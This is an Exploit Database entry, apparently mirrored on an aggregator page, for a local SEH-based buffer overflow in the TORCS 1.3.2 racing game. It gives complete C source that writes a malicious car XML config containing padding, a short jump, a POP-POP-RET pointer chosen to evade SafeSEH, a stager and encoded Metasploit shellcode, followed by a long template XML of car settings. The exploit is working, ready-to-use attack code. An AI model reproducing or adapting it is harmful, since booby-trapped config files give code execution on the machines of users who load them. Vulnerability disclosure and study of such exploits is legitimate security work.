TORCS 1.3.2 – ‘.xml’ File Buffer Overflow /SafeSEH Evasion

• Exploit Database
• 122 阅读

• 作者： Andres Gomez & David Mora
  日期： 2012-02-08
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18471/
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  /* Exploit Title: TORCS <= 1.3.2 buffer overflow /SAFESEH evasion # Date: 07/02/2012 # Discovered and exploited by: Fluidsignal Group -> Research Team Division # Author: Andres Gomez and David Mora (a.k.a Mighty-D) ... Pwn and beans! # Software Link: http://torcs.sourceforge.net/ # Version: torcs 1.3.2 # Vendor notified: 03/02/2012 # Tested on: Windows XP Service Pack 3 Spanish # CVE : */   /* Create template.xml file (see and the end of submission). Place both .c and template.xml files in the same folder. Run the exploit, this will append a &apos;sound&apos; section in the template file. Move the xml file into torcs/cars/sc-f1/ and replace sc-f1.xml (F1 car Config.) for example. Choose car and run a race. Torcs will then crash. */     #include <stdio.h> #include <stdlib.h>   /* Shellcode: msfpayload windows/exec CMD=calc.exe R | msfencode register=ebp -e x86/alpha_mixed -t c */   unsigned char shellcode[] = "\x55\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b" "\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58" "\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x5a\x48\x4f\x79\x43\x30" "\x45\x50\x45\x50\x51\x70\x4b\x39\x4d\x35\x50\x31\x4b\x62\x51" "\x74\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x50\x52\x54\x4c\x4c\x4b" "\x50\x52\x47\x64\x4e\x6b\x51\x62\x51\x38\x56\x6f\x4d\x67\x51" "\x5a\x54\x66\x54\x71\x49\x6f\x56\x51\x4f\x30\x4e\x4c\x47\x4c" "\x50\x61\x51\x6c\x54\x42\x56\x4c\x51\x30\x4f\x31\x58\x4f\x56" "\x6d\x56\x61\x4b\x77\x49\x72\x5a\x50\x52\x72\x43\x67\x4e\x6b" "\x51\x42\x54\x50\x4e\x6b\x43\x72\x45\x6c\x45\x51\x58\x50\x4c" "\x4b\x51\x50\x52\x58\x4e\x65\x4f\x30\x43\x44\x43\x7a\x47\x71" "\x58\x50\x56\x30\x4c\x4b\x43\x78\x54\x58\x4e\x6b\x43\x68\x47" "\x50\x43\x31\x4e\x33\x4b\x53\x45\x6c\x52\x69\x4c\x4b\x45\x64" "\x4c\x4b\x56\x61\x58\x56\x56\x51\x49\x6f\x54\x71\x4f\x30\x4e" "\x4c\x5a\x61\x58\x4f\x56\x6d\x45\x51\x58\x47\x56\x58\x49\x70" "\x51\x65\x5a\x54\x56\x63\x43\x4d\x49\x68\x47\x4b\x43\x4d\x47" "\x54\x52\x55\x4d\x32\x51\x48\x4c\x4b\x43\x68\x51\x34\x47\x71" "\x4b\x63\x50\x66\x4c\x4b\x54\x4c\x52\x6b\x4e\x6b\x43\x68\x47" "\x6c\x45\x51\x5a\x73\x4c\x4b\x47\x74\x4c\x4b\x43\x31\x5a\x70" "\x4c\x49\x52\x64\x56\x44\x51\x34\x51\x4b\x51\x4b\x43\x51\x52" "\x79\x52\x7a\x56\x31\x49\x6f\x49\x70\x43\x68\x51\x4f\x50\x5a" "\x4c\x4b\x54\x52\x5a\x4b\x4f\x76\x51\x4d\x52\x4a\x43\x31\x4c" "\x4d\x4e\x65\x4d\x69\x47\x70\x45\x50\x47\x70\x56\x30\x51\x78" "\x45\x61\x4e\x6b\x50\x6f\x4f\x77\x4b\x4f\x58\x55\x4d\x6b\x5a" "\x50\x58\x35\x4f\x52\x43\x66\x43\x58\x4d\x76\x5a\x35\x4f\x4d" "\x4d\x4d\x4b\x4f\x4b\x65\x45\x6c\x54\x46\x51\x6c\x45\x5a\x4f" "\x70\x49\x6b\x49\x70\x51\x65\x43\x35\x4f\x4b\x52\x67\x52\x33" "\x43\x42\x50\x6f\x50\x6a\x47\x70\x56\x33\x49\x6f\x49\x45\x50" "\x63\x45\x31\x50\x6c\x50\x63\x54\x6e\x51\x75\x54\x38\x50\x65" "\x45\x50\x41\x41";   unsigned char stage[] = "\x55\x58\x35\x41\x41\x41\x75\x35\x69\x4A\x41\x75\x50\x5D";// ebp = &shellcode unsigned char seh_pointer [] = "\x4E\x20\xC9\x72"; // seh pointer pop pop ret; no safeseh on msacm32.drv unsigned char short_jump [] = "\xEB\x20\x41\x41"; // short jump;   int main(int argc, char **argv) {   FILE *save_fd; int i=0;   save_fd = fopen("template.xml", "a+");   if (save_fd == NULL) { printf("Failed to open &apos;%s&apos; for writing", "template.xml"); return -1; }   fprintf(save_fd, "<section name=\"Sound\">\n" "<attstr name=\"engine sample\" val=\""); for(i=0; i < 1529; i++) { putc(&apos;\x41&apos;, save_fd); } fprintf(save_fd, "%s", short_jump); fprintf(save_fd, "%s", seh_pointer); for(i=0; i < 0x22; i++) { putc(&apos;\x41&apos;, save_fd); } fprintf(save_fd, "%s", stage); for(i=0; i < 8; i++) { putc(&apos;\x41&apos;, save_fd); } fprintf(save_fd, "%s", shellcode); fprintf(save_fd, "\"/>\n"); fprintf(save_fd, "<attnum name=\"rpm scale\" val=\"0.35\"/>\n"); fprintf(save_fd, "</section>\n"); fprintf(save_fd, "</params>\n");   close(save_fd);   return 0; }   ===================== TEMPLATE.XML <?xml version="1.0" encoding="UTF-8"?>   <!-- file : sc-f1.xml created: Tue Nov 02 23:03:59 CET 2000 copyright: (C) 2004 by SpeedyChonChon email: speedy.chonchon@free.fr version: $Id: sc-f1.xml,v 1.5.2.1 2008/06/01 09:56:42 berniw Exp $ -->   <!--This program is free software; you can redistribute it and/or modify--> <!--it under the terms of the GNU General Public License as published by--> <!--the Free Software Foundation; either version 2 of the License, or --> <!--(at your option) any later version. -->   <!DOCTYPE params SYSTEM "../../../../src/libs/tgf/params.dtd">   <params name="Formula One" type="template"> <section name="Driver"> <!-- Position of the driver --> <attnum name="xpos" val="0.1" unit="m"/> <attnum name="ypos" val="0.0" unit="m"/> <attnum name="zpos" val="0.73" unit="m"/> </section> <section name="Graphic Objects"> <attstr name="env" val="sc-f1.acc"/> <attstr name="wheel texture" val="tex-wheel.rgb"/> <attstr name="shadow texture" val="shadow.rgb"/> <attstr name="tachometer texture" val="rpm20000.rgb"/> <attnum name="tachometer min value" val="0" unit="rpm"/> <attnum name="tachometer max value" val="20000" unit="rpm"/> <attstr name="speedometer texture" val="speed360.rgb"/> <attnum name="speedometer min value" val="0" unit="km/h"/> <attnum name="speedometer max value" val="360" unit="km/h"/> <section name="Ranges"> <section name="1"> <attnum name="threshold" val="0"/> <attstr name="car" val="sc-f1.acc"/> <attstr name="wheels" val="yes"/> </section> </section> <!--<section name="Light"> <section name="1"> <attstr name="type" val="brake2"/> <attnum name="xpos" val="-2.36"/> <attnum name="ypos" val="0.52"/> <attnum name="zpos" val="0.67"/> <attnum name="size" val="0.3"/> </section> <section name="2"> <attstr name="type" val="brake2"/> <attnum name="xpos" val="-2.36"/> <attnum name="ypos" val="-0.52"/> <attnum name="zpos" val="0.67"/> <attnum name="size" val="0.3"/> </section> </section>--> </section> <section name="Car"> <attstr name="category" val="F1"/> <attnum name="body length" unit="m" val="4.8"/> <attnum name="body width" unit="m" val="1.8"/> <attnum name="body height" unit="m" val="1.08"/> <!-- collision bounding box --> <attnum name="overall length" unit="m" val="4.8"/> <attnum name="overall width" unit="m" val="2.4"/> <attnum name="mass" unit="kg" val="600.0"/> <attnum name="GC height" unit="m" val="0.20"/> <!-- weight bias --> <attnum name="front-rear weight repartition" min="0.3" max="0.7" val="0.4"/> <attnum name="front right-left weight repartition" min="0.4" max="0.6" val="0.5"/> <attnum name="rear right-left weight repartition" min="0.4" max="0.6" val="0.5"/> <!-- used for inertia, smaller values indicate better mass centering --> <attnum name="mass repartition coefficient" val="0.6" min="0.4" max="1.0"/> <attnum name="fuel tank" unit="l" val="100.0"/> <attnum name="initial fuel" unit="l" min="1.0" max="100.0" val="100.0"/> </section> <section name="Exhaust"> <!-- for flames --> <attnum name="power" val="1.5"/> <section name="1"> <attnum name="xpos" val="-2.15"/> <attnum name="ypos" val="-0.48"/> <attnum name="zpos" val="0.23"/> </section> <section name="2"> <attnum name="xpos" val="-2.15"/> <attnum name="ypos" val="0.48"/> <attnum name="zpos" val="0.23"/> </section> </section> <section name="Aerodynamics"> <attnum name="Cx" val="0.32"/> <attnum name="front area" unit="m2" val="2.0"/> <attnum name="front Clift" val="0.2"/> <attnum name="rear Clift" val="0.7"/> </section> <section name="Front Wing"> <attnum name="area" unit="m2" val="0.8"/> <attnum name="angle" unit="deg" val="13"/> <attnum name="xpos" unit="m" val="2.0"/> <attnum name="zpos" unit="m" val=".1"/> </section> <section name="Rear Wing"> <attnum name="area" unit="m2" val="1.1"/> <attnum name="angle" unit="deg" val="7"/> <attnum name="xpos" unit="m" val="-2.0"/> <attnum name="zpos" unit="m" val=".5"/> </section> <!-- Same engine for every one --> <section name="Engine"> <attnum name="revs maxi" unit="rpm" min="5000" max="20000" val="20000"/> <attnum name="revs limiter" unit="rpm" min="3000" max="20000" val="18700"/> <attnum name="tickover" unit="rpm" val="5000"/> <attnum name="fuel cons factor" min="1.1" max="1.3" val="1.3"/> <section name="data points"> <section name="1"> <attnum name="rpm" unit="rpm" val="0"/> <attnum name="Tq" unit="N.m" min="0.0" max="2000.0" val="100"/> </section> <section name="2"> <attnum name="rpm" unit="rpm" val="1000"/> <attnum name="Tq" unit="N.m" min="0.0" max="1473.0" val="100"/> </section> <section name="3"> <attnum name="rpm" unit="rpm" val="2000"/> <attnum name="Tq" unit="N.m" min="0.0" max="1355.0" val="120"/> </section> <section name="4"> <attnum name="rpm" unit="rpm" val="3000"/> <attnum name="Tq" unit="N.m" min="0.0" max="1275.0" val="140"/> </section> <section name="5"> <attnum name="rpm" unit="rpm" val="4000"/> <attnum name="Tq" unit="N.m" min="0.0" max="1145.0" val="160"/> </section> <section name="6"> <attnum name="rpm" unit="rpm" val="5000"/> <attnum name="Tq" unit="N.m" min="0.0" max="1000.0" val="180"/> </section> <section name="7"> <attnum name="rpm" unit="rpm" val="6000"/> <attnum name="Tq" unit="N.m" min="0.0" max="884.0" val="220"/> </section> <section name="8"> <attnum name="rpm" unit="rpm" val="7000"/> <attnum name="Tq" unit="N.m" min="0.0" max="799.0" val="260"/> </section> <section name="9"> <attnum name="rpm" unit="rpm" val="8000"/> <attnum name="Tq" unit="N.m" min="0.0" max="735.0" val="300"/> </section> <section name="10"> <attnum name="rpm" unit="rpm" val="9000"/> <attnum name="Tq" unit="N.m" min="0.0" max="686.0" val="340"/> </section> <section name="11"> <attnum name="rpm" unit="rpm" val="10000"/> <attnum name="Tq" unit="N.m" min="0.0" max="647.0" val="340"/> </section> <section name="12"> <attnum name="rpm" unit="rpm" val="11000"/> <attnum name="Tq" unit="N.m" min="0.0" max="971.0" val="340.0"/> </section> <section name="13"> <attnum name="rpm" unit="rpm" val="12000"/> <attnum name="Tq" unit="N.m" min="0.0" max="890.0" val="340.0"/> </section> <section name="14"> <attnum name="rpm" unit="rpm" val="13000"/> <attnum name="Tq" unit="N.m" min="0.0" max="821.0" val="345.0"/> </section> <section name="15"> <attnum name="rpm" unit="rpm" val="14000"/> <attnum name="Tq" unit="N.m" min="0.0" max="762.0" val="350.0"/> </section> <section name="16"> <attnum name="rpm" unit="rpm" val="15000"/> <attnum name="Tq" unit="N.m" min="0.0" max="712.0" val="355.0"/> </section> <section name="17"> <attnum name="rpm" unit="rpm" val="16000"/> <attnum name="Tq" unit="N.m" min="0.0" max="667.0" val="360.0"/> </section> <section name="18"> <attnum name="rpm" unit="rpm" val="17000"/> <attnum name="Tq" unit="N.m" min="0.0" max="628.0" val="360.0"/> </section> <section name="19"> <attnum name="rpm" unit="rpm" val="18000"/> <attnum name="Tq" unit="N.m" min="0.0" max="593.0" val="360.0"/> </section> <section name="20"> <attnum name="rpm" unit="rpm" val="19000"/> <attnum name="Tq" unit="N.m" min="0.0" max="562.0" val="330.0"/> </section> <section name="21"> <attnum name="rpm" unit="rpm" val="20000"/> <attnum name="Tq" unit="N.m" min="0.0" max="534.0" val="300.0"/> </section> </section> </section> <section name="Clutch"> <!-- pressure plate --> <attnum name="inertia" unit="kg.m2" val="0.1150"/> </section> <section name="Gearbox"> <attnum name="shift time" val="0.05" unit="s"/> <section name="gears"> <section name="r"> <attnum name="ratio" min="-3" max="0" val="-2.0"/> <attnum name="inertia" val="0.0037"/> <attnum name="efficiency" val="0.957"/> </section> <section name="1"> <attnum name="ratio" min="0" max="5" val="3.9"/> <attnum name="inertia" val="0.003"/> <attnum name="efficiency" val="0.955"/> </section> <section name="2"> <attnum name="ratio" min="0" max="5" val="2.9"/> <attnum name="inertia" val="0.0037"/> <attnum name="efficiency" val="0.957"/> </section> <section name="3"> <attnum name="ratio" min="0" max="5" val="2.3"/> <attnum name="inertia" val="0.0048"/> <attnum name="efficiency" val="0.950"/> </section> <section name="4"> <attnum name="ratio" min="0" max="5" val="1.87"/> <attnum name="inertia" val="0.0064"/> <attnum name="efficiency" val="0.983"/> </section> <section name="5"> <attnum name="ratio" min="0" max="5" val="1.68"/> <attnum name="inertia" val="0.0107"/> <attnum name="efficiency" val="0.948"/> </section> <section name="6"> <attnum name="ratio" min="0" max="5" val="1.54"/> <attnum name="inertia" val="0.0150"/> <attnum name="efficiency" val="0.940"/> </section> <section name="7"> <attnum name="ratio" min="0" max="5" val="1.46"/> <attnum name="inertia" val="0.0150"/> <attnum name="efficiency" val="0.940"/> </section> </section> </section> <section name="Steer"> <attnum name="steer lock" unit="deg" min="1" max="21" val="21"/> <attnum name="max steer speed" unit="deg/s" min="1" max="360" val="360"/> </section> <section name="Drivetrain"> <attstr name="type" val="RWD"/> <attnum name="inertia" unit="kg.m2" val="0.0091"/> </section> <section name="Rear Differential"> <!-- type of differential : SPOOL (locked), FREE, LIMITED SLIP --> <attstr name="type" in="SPOOL,FREE,LIMITED SLIP" val="LIMITED SLIP"/> <attnum name="inertia" unit="kg.m2" val="0.0488"/> <attnum name="ratio" min="0" max="10" val="4.5"/> <attnum name="efficiency" val="0.9625"/> </section> <section name="Brake System"> <attnum name="front-rear brake repartition" min="0.3" max="0.7" val="0.45"/> <attnum name="max pressure" unit="kPa" min="100" max="150000" val="24000"/> </section> <section name="Front Axle"> <attnum name="xpos" unit="m" val="1.6"/> <attnum name="inertia" unit="kg.m2" val="0.0056"/> <attnum name="roll center height" unit="m" val="0.012"/> </section> <section name="Rear Axle"> <attnum name="xpos" unit="m" val="-1.35"/> <attnum name="inertia" unit="kg.m2" val="0.0080"/> <attnum name="roll center height" unit="m" val="0.04"/> </section> <section name="Front Right Wheel"> <attnum name="ypos" unit="m" val="-0.70"/> <attnum name="rim diameter" unit="in" val="12"/> <attnum name="tire width" unit="mm" val="300"/> <attnum name="tire height-width ratio" val="0.5"/> <attnum name="inertia" unit="kg.m2" val="1.2200"/> <!-- initial ride height --> <attnum name="ride height" unit="mm" min="50" max="300" val="70"/> <attnum name="toe" unit="deg" min="-5" max="5" val="0"/> <attnum name="camber" min="-5" max="0" unit="deg" val="-4"/> <!-- Adherence --> <attnum name="stiffness" min="20.0" max="50.0" val="20.0"/> <attnum name="dynamic friction" unit="%" min="70" max="80" val="70"/> <attnum name="rolling resistance" val="0.03"/> <attnum name="mu" min="0.05" max="1.8" val="1.6"/> </section> <section name="Front Left Wheel"> <attnum name="ypos" unit="m" val="0.70"/> <attnum name="rim diameter" unit="in" val="12"/> <attnum name="tire width" unit="mm" val="300"/> <attnum name="tire height-width ratio" val="0.5"/> <!-- initial ride height --> <attnum name="ride height" unit="mm" min="50" max="300" val="70"/> <attnum name="toe" unit="deg" min="-5" max="5" val="0"/> <attnum name="camber" min="-5" max="0" unit="deg" val="-4"/> <!-- Adherence --> <attnum name="stiffness" min="20.0" max="50.0" val="20.0"/> <attnum name="dynamic friction" unit="%" min="70" max="80" val="70"/> <attnum name="rolling resistance" val="0.03"/> <attnum name="mu" min="0.05" max="1.8" val="1.6"/> </section> <section name="Rear Right Wheel"> <attnum name="ypos" unit="m" val="-0.75"/> <attnum name="rim diameter" unit="in" val="13"/> <attnum name="tire width" unit="mm" val="300"/> <attnum name="tire height-width ratio" val=".5"/> <!-- initial ride height --> <attnum name="ride height" unit="mm" min="50" max="300" val="100"/> <attnum name="toe" unit="deg" min="-5" max="5" val="0.15"/> <attnum name="camber" min="-5" max="0" unit="deg" val="-1.5"/> <!-- Adherence --> <attnum name="stiffness" min="20.0" max="50.0" val="20.0"/> <attnum name="dynamic friction" unit="%" min="70" max="80" val="70"/> <attnum name="rolling resistance" val="0.03"/> <attnum name="mu" min="0.05" max="1.8" val="1.6"/> </section> <section name="Rear Left Wheel"> <attnum name="ypos" unit="m" val="0.75"/> <attnum name="rim diameter" unit="in" val="13"/> <attnum name="tire width" unit="mm" val="300"/> <attnum name="tire height-width ratio" val=".5"/> <!-- initial ride height --> <attnum name="ride height" unit="mm" min="50" max="300" val="100"/> <attnum name="toe" unit="deg" min="-5" max="5" val="-0.15"/> <attnum name="camber" min="-5" max="0" unit="deg" val="-1.5"/> <!-- Adherence --> <attnum name="stiffness" min="20.0" max="50.0" val="20.0"/> <attnum name="dynamic friction" unit="%" min="70" max="80" val="70"/> <attnum name="rolling resistance" val="0.03"/> <attnum name="mu" min="0.05" max="1.8" val="1.6"/> </section> <section name="Front Anti-Roll Bar"> <attnum name="spring" unit="lbs/in" min="0" max="5000" val="0"/> <attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/> <attnum name="bellcrank" min="1" max="5" val="2.5"/> </section> <section name="Rear Anti-Roll Bar"> <attnum name="spring" unit="lbs/in" min="0" max="5000" val="0"/> <attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/> <attnum name="bellcrank" min="1" max="5" val="2.5"/> </section> <section name="Front Right Suspension"> <attnum name="spring" unit="lbs/in" min="0" max="10000" val="2000"/> <attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/> <attnum name="bellcrank" min="0.1" max="5" val="1.5"/> <attnum name="packers" unit="mm" min="0" max="10" val="0"/> <attnum name="slow bump" unit="lbs/in/s" min="0" max="1000" val="80"/> <attnum name="slow rebound" unit="lbs/in/s" min="0" max="1000" val="80"/> <attnum name="fast bump" unit="lbs/in/s" min="0" max="1000" val="30"/> <attnum name="fast rebound" unit="lbs/in/s" min="0" max="1000" val="30"/> </section> <section name="Front Left Suspension"> <attnum name="spring" unit="lbs/in" min="0" max="10000" val="2000"/> <attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/> <attnum name="bellcrank" min="0.1" max="5" val="1.5"/> <attnum name="packers" unit="mm" min="0" max="10" val="0"/> <attnum name="slow bump" unit="lbs/in/s" min="0" max="1000" val="80"/> <attnum name="slow rebound" unit="lbs/in/s" min="0" max="1000" val="80"/> <attnum name="fast bump" unit="lbs/in/s" min="0" max="1000" val="30"/> <attnum name="fast rebound" unit="lbs/in/s" min="0" max="1000" val="30"/> </section> <section name="Rear Right Suspension"> <attnum name="spring" unit="lbs/in" min="0" max="10000" val="4000"/> <attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/> <attnum name="bellcrank" min="0.1" max="5" val="1.5"/> <attnum name="packers" unit="mm" min="0" max="10" val="0"/> <attnum name="slow bump" unit="lbs/in/s" min="0" max="1000" val="80"/> <attnum name="slow rebound" unit="lbs/in/s" min="0" max="1000" val="80"/> <attnum name="fast bump" unit="lbs/in/s" min="0" max="1000" val="30"/> <attnum name="fast rebound" unit="lbs/in/s" min="0" max="1000" val="30"/> </section> <section name="Rear Left Suspension"> <attnum name="spring" unit="lbs/in" min="0" max="10000" val="4000"/> <attnum name="suspension course" unit="m" min="0" max="0.2" val="0.2"/> <attnum name="bellcrank" min="0.1" max="5" val="1.5"/> <attnum name="packers" unit="mm" min="0" max="10" val="0"/> <attnum name="slow bump" unit="lbs/in/s" min="0" max="1000" val="80"/> <attnum name="slow rebound" unit="lbs/in/s" min="0" max="1000" val="80"/> <attnum name="fast bump" unit="lbs/in/s" min="0" max="1000" val="30"/> <attnum name="fast rebound" unit="lbs/in/s" min="0" max="1000" val="30"/> </section> <section name="Front Right Brake"> <attnum name="disk diameter" unit="mm" min="100" max="380" val="380"/> <attnum name="piston area" unit="cm2" val="50"/> <attnum name="mu" val="0.3"/> <attnum name="inertia" unit="kg.m2" val="0.1241"/> </section> <section name="Front Left Brake"> <attnum name="disk diameter" unit="mm" min="100" max="380" val="380"/> <attnum name="piston area" unit="cm2" val="50"/> <attnum name="mu" val="0.3"/> <attnum name="inertia" unit="kg.m2" val="0.1241"/> </section> <section name="Rear Right Brake"> <attnum name="disk diameter" unit="mm" min="100" max="380" val="350"/> <attnum name="piston area" unit="cm2" val="25"/> <attnum name="mu" val="0.3"/> <attnum name="inertia" unit="kg.m2" val="0.0714"/> </section> <section name="Rear Left Brake"> <attnum name="disk diameter" unit="mm" min="100" max="380" val="350"/> <attnum name="piston area" unit="cm2" val="25"/> <attnum name="mu" val="0.3"/> <attnum name="inertia" unit="kg.m2" val="0.0714"/> </section>